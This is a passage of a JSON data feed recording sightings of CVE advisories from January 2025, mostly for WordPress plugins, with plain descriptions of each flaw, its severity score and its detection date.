CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel vulnerability  \nexists that could cause partial loss of confidentiality, loss of integrity and availability of the HMI when attacker performs  \nman in the middle attack by intercepting the communication. \nSeverity: 7.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-17T11:46:29.000000Z"}, {"uuid": "ad809e61-e504-4a0f-a41a-a6d5cef86f98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12071", "type": "seen", "source": "https://t.me/cvedetector/15778", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12071 - WordPress Evergreen Content Poster - Unauthenticated Remote Data Deletion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12071 \nPublished : Jan. 18, 2025, 4:15 a.m. | 40\u00a0minutes ago \nDescription : The Evergreen Content Poster \u2013 Auto Post and Schedule Your Best Content to Social Media plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the delete_network_post() function in all versions up to, and including, 1.4.4. This makes it possible for unauthenticated attackers to delete arbitrary posts and pages. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-18T06:11:55.000000Z"}, {"uuid": "d1afcdc9-c84d-4e46-9659-0545725216c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12757", "type": "seen", "source": "https://t.me/cvedetector/15722", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12757 - Nedap Librix Ecoreader Authenticated Remote Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-12757 \nPublished : Jan. 17, 2025, 6:15 p.m. | 43\u00a0minutes ago \nDescription : Nedap Librix Ecoreader   \n is missing authentication for critical functions that could allow an   \nunauthenticated attacker to potentially execute malicious code. \nSeverity: 8.6 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-17T20:08:22.000000Z"}, {"uuid": "d298d317-51b1-4944-8039-6fce1b68e580", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12370", "type": "seen", "source": "https://t.me/cvedetector/15693", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12370 - WordPress Hotel Booking Unauthorized Data Modification Vuln\", \n  \"Content\": \"CVE ID : CVE-2024-12370 \nPublished : Jan. 17, 2025, 9:15 a.m. | 40\u00a0minutes ago \nDescription : The WP Hotel Booking plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check when adding rooms in all versions up to, and including, 2.1.5. This makes it possible for unauthenticated attackers to add rooms with custom prices. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-17T10:56:17.000000Z"}, {"uuid": "d2defda2-126f-4ee7-ab5d-10dd305a8cd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12476", "type": "seen", "source": "https://t.me/cvedetector/15695", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12476 - Adobe Web Designer XXE Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12476 \nPublished : Jan. 17, 2025, 10:15 a.m. | 22\u00a0minutes ago \nDescription : CWE-611: Improper Restriction of XML External Entity Reference vulnerability exists that could  \ncause information disclosure, impacts workstation integrity and potential remote code execution on the  \ncompromised computer, when specific crafted XML file is imported in the Web Designer configuration tool. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-17T11:46:27.000000Z"}, {"uuid": "27f66dc7-18df-4713-acdf-8ac74ea84522", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12203", "type": "seen", "source": "https://t.me/cvedetector/15691", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12203 - \"WordPress RSS Icon Widget Stored Cross-Site Scripting Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12203 \nPublished : Jan. 17, 2025, 7:15 a.m. | 42\u00a0minutes ago \nDescription : The RSS Icon Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the \u2018link_color\u2019 parameter in all versions up to, and including, 5.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. \nSeverity: 4.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-17T09:16:02.000000Z"}, {"uuid": "de16111d-f16a-4230-ae16-1ce1ebed2f0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12637", "type": "seen", "source": "https://t.me/cvedetector/15689", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12637 - WordPress Moving Users Sensitive Information Exposure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12637 \nPublished : Jan. 17, 2025, 7:15 a.m. | 42\u00a0minutes ago \nDescription : The Moving Users plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.05 via the export functionality. The JSON files are stored in predictable locations with guessable file names when exporting user data. This could allow unauthenticated attackers to extract sensitive user data, for instance, email addresses, hashed passwords, and IP addresses. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-17T09:16:01.000000Z"}, {"uuid": "557c62d4-3928-4366-b4b4-9150f17acf85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12598", "type": "seen", "source": "https://t.me/cvedetector/15688", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12598 - MyBookProgress by Stormhill Media WordPress Stored Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-12598 \nPublished : Jan. 17, 2025, 7:15 a.m. | 42\u00a0minutes ago \nDescription : The MyBookProgress by Stormhill Media plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the \u2018book\u2019 parameter in all versions up to, and including, 1.0.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-17T09:15:57.000000Z"}, {"uuid": "9ba08e6d-9a11-4bfc-a84d-573c3ae1bb5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12508", "type": "seen", "source": "https://t.me/cvedetector/15687", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12508 - Adobe Glofox WordPress Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12508 \nPublished : Jan. 17, 2025, 7:15 a.m. | 42\u00a0minutes ago \nDescription : The Glofox Shortcodes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'glofox' and 'glofox_lead_capture ' shortcodes in all versions up to, and including, 2.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-17T09:15:57.000000Z"}, {"uuid": "99f6e581-cb42-4842-b585-6065c2cd6e02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12466", "type": "seen", "source": "https://t.me/cvedetector/15686", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12466 - WordPress Proofreading Reflected Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12466 \nPublished : Jan. 17, 2025, 7:15 a.m. | 42\u00a0minutes ago \nDescription : The Proofreading plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'nonce' parameter in all versions up to, and including, 1.2.1.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-17T09:15:56.000000Z"}, {"uuid": "13ecf6b8-80c5-4a2a-a116-ba1416f4db9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12613", "type": "seen", "source": "https://t.me/cvedetector/15579", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12613 - \"WordPress Passwords Manager SQL Injection Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12613 \nPublished : Jan. 16, 2025, 10:15 a.m. | 42\u00a0minutes ago \nDescription : The Passwords Manager plugin for WordPress is vulnerable to SQL Injection via the $wpdb->prefix value in several AJAX fuctions in all versions up to, and including, 1.4.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-16T12:03:19.000000Z"}, {"uuid": "52642ec5-a088-4ff3-85e3-f3ef7fab42b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12427", "type": "seen", "source": "https://t.me/cvedetector/15578", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12427 - WordPress Multi-Step Form Unauthorized File Upload\", \n  \"Content\": \"CVE ID : CVE-2024-12427 \nPublished : Jan. 16, 2025, 10:15 a.m. | 42\u00a0minutes ago \nDescription : The Multi Step Form plugin for WordPress is vulnerable to unauthorized limited file upload due to a missing capability check on the fw_upload_file AJAX action in all versions up to, and including, 1.7.23. This makes it possible for unauthenticated attackers to upload limited file types such as images. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-16T12:03:18.000000Z"}, {"uuid": "8269c82d-8d7c-4a2a-9bb3-3530fb9d4236", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12615", "type": "seen", "source": "https://t.me/cvedetector/15576", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12615 - Wordpress Passwords Manager SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12615 \nPublished : Jan. 16, 2025, 10:15 a.m. | 42\u00a0minutes ago \nDescription : The Passwords Manager plugin for WordPress is vulnerable to SQL Injection via the $wpdb->prefix value in several AJAX actions in all versions up to, and including, 1.4.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-16T12:03:13.000000Z"}, {"uuid": "579547f5-b570-48e3-96e6-ed25c8f7a274", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12614", "type": "seen", "source": "https://t.me/cvedetector/15575", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12614 - WordPress Passwords Manager Invalid Capability Check Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12614 \nPublished : Jan. 16, 2025, 10:15 a.m. | 42\u00a0minutes ago \nDescription : The Passwords Manager plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'pms_save_setting' and 'post_new_pass' AJAX actions in all versions up to, and including, 1.4.8. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update the plugins settings and add passwords. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-16T12:03:12.000000Z"}, {"uuid": "2f4c5c8b-99be-4731-96b6-2998598f4a8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12226", "type": "seen", "source": "https://t.me/cvedetector/15570", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12226 - Octopus Kubernetes Worker Text-based Data Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-12226 \nPublished : Jan. 16, 2025, 7:15 a.m. | 19\u00a0minutes ago \nDescription : In affected versions of the Octopus Kubernetes worker or agent, sensitive variables could be written to the Kubernetes script pod log in clear-text. This was identified in Version 2 however it was determined that this could also be achieved in Version 1 and the fix was applied to both versions accordingly. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-16T08:42:27.000000Z"}, {"uuid": "a39fa27b-7a92-4a47-8ae9-e695d40fbda6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://t.me/cvedetector/15466", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12084 - \"rsync Daemon Heap-Based Buffer Overflow Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12084 \nPublished : Jan. 15, 2025, 3:15 p.m. | 28\u00a0minutes ago \nDescription : A heap-based buffer overflow flaw was found in the rsync daemon. This issue is due to improper handling of attacker-controlled checksum lengths (s2length) in the code. When MAX_DIGEST_LEN exceeds the fixed SUM_LENGTH (16 bytes), an attacker can write out of bounds in the sum2 buffer. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-15T16:47:58.000000Z"}, {"uuid": "6a47fe98-0b51-4671-aefc-dad41cd97378", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12471", "type": "seen", "source": "https://t.me/cvedetector/14469", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12471 - Dezgo AI Text & Image Generator Plugin for WordPress Arbitrary File Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12471 \nPublished : Jan. 7, 2025, 6:15 a.m. | 41\u00a0minutes ago \nDescription : The Post Saint: ChatGPT, GPT4, DALL-E, Stable Diffusion, Pexels, Dezgo AI Text & Image Generator plugin for WordPress is vulnerable to arbitrary files uploads due to a missing capability check and file type validation on the add_image_to_library AJAX action function in all versions up to, and including, 1.3.1. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload arbitrary files that make remote code execution possible. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T08:00:31.000000Z"}, {"uuid": "c731abea-c750-4f3e-bbd7-e2623d124c36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12499", "type": "seen", "source": "https://t.me/cvedetector/14489", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12499 - \"WordPress WP jQuery DataTable Stored Cross-Site Scripting (XSS)\"\", \n  \"Content\": \"CVE ID : CVE-2024-12499 \nPublished : Jan. 7, 2025, 7:15 a.m. | 30\u00a0minutes ago \nDescription : The WP jQuery DataTable plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wp_jdt' shortcode in all versions up to, and including, 4.0.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T08:51:02.000000Z"}, {"uuid": "65ad9caf-59f1-4037-aa39-ef61896bcc3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12152", "type": "seen", "source": "https://t.me/cvedetector/14507", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12152 - MIPL WC Multisite Sync Directory Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12152 \nPublished : Jan. 7, 2025, 10:15 a.m. | 39\u00a0minutes ago \nDescription : The MIPL WC Multisite Sync plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 1.1.5 via the 'mipl_wc_sync_download_log' action. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T12:11:48.000000Z"}, {"uuid": "fda8d5a6-edd0-4462-9032-70886430ce45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12719", "type": "seen", "source": "https://t.me/cvedetector/14506", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12719 - WordPress File Upload Plugin Directory Traversalromise\", \n  \"Content\": \"CVE ID : CVE-2024-12719 \nPublished : Jan. 7, 2025, 10:15 a.m. | 39\u00a0minutes ago \nDescription : The WordPress File Upload plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'wfu_ajax_action_read_subfolders' function in all versions up to, and including, 4.24.15. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform limited path traversal to view directories and subdirectories in WordPress. Files cannot be viewed. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T12:11:48.000000Z"}, {"uuid": "5442f614-976b-4a72-804b-57aa41c89424", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12699", "type": "seen", "source": "https://t.me/cvedetector/14505", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12699 - WordPress Service Box Plugin Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12699 \nPublished : Jan. 7, 2025, 10:15 a.m. | 39\u00a0minutes ago \nDescription : The Service Box plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 1.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T12:11:47.000000Z"}, {"uuid": "c77371a9-7438-47fd-ba3a-a59423016c4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12077", "type": "seen", "source": "https://t.me/cvedetector/14503", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12077 - Booking Calendar and Booking Calendar Pro Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12077 \nPublished : Jan. 7, 2025, 8:15 a.m. | 20\u00a0minutes ago \nDescription : The Booking Calendar and Booking Calendar Pro plugins for WordPress are vulnerable to Reflected Cross-Site Scripting via the \u2018calendar_id\u2019 parameter in all versions up to, and including, 3.2.19 and 11.2.19 respectively, due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T09:41:26.000000Z"}, {"uuid": "411e2463-7228-416d-a17e-2f593ce94c95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12516", "type": "seen", "source": "https://t.me/cvedetector/14497", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12516 - WordPress Coupon Plugin Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12516 \nPublished : Jan. 7, 2025, 8:15 a.m. | 20\u00a0minutes ago \nDescription : The Coupon Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Coupon Code' parameter in all versions up to, and including, 1.2.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T09:41:18.000000Z"}, {"uuid": "09773236-7818-4aec-b7e2-9bd35b211ece", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12202", "type": "seen", "source": "https://t.me/cvedetector/14495", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12202 - Croma Music Plugin for WordPress Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-12202 \nPublished : Jan. 7, 2025, 8:15 a.m. | 20\u00a0minutes ago \nDescription : The Croma Music plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the 'ironMusic_ajax' function in all versions up to, and including, 3.6. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T09:41:17.000000Z"}, {"uuid": "bcc5bcfd-3209-4879-a7da-f699b9017d68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12781", "type": "seen", "source": "https://t.me/cvedetector/14491", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12781 - Aurum - WordPress & WooCommerce Shopping Theme Remote Data Tampering\", \n  \"Content\": \"CVE ID : CVE-2024-12781 \nPublished : Jan. 7, 2025, 7:15 a.m. | 30\u00a0minutes ago \nDescription : The Aurum - WordPress & WooCommerce Shopping Theme theme for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'lab_1cl_demo_install_package_content' function in all versions up to, and including, 4.0.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to overwrite content with imported demo content. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T08:51:06.000000Z"}, {"uuid": "36907029-fdaf-4254-9f84-f6ab558472d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12624", "type": "seen", "source": "https://t.me/cvedetector/14490", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12624 - Elementor Sina Extension Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12624 \nPublished : Jan. 7, 2025, 7:15 a.m. | 30\u00a0minutes ago \nDescription : The Sina Extension for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Sina Image Differ widget in all versions up to, and including, 3.5.91 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T08:51:05.000000Z"}, {"uuid": "04d06cd3-09f4-4dc6-8987-5aad24dd64ed", 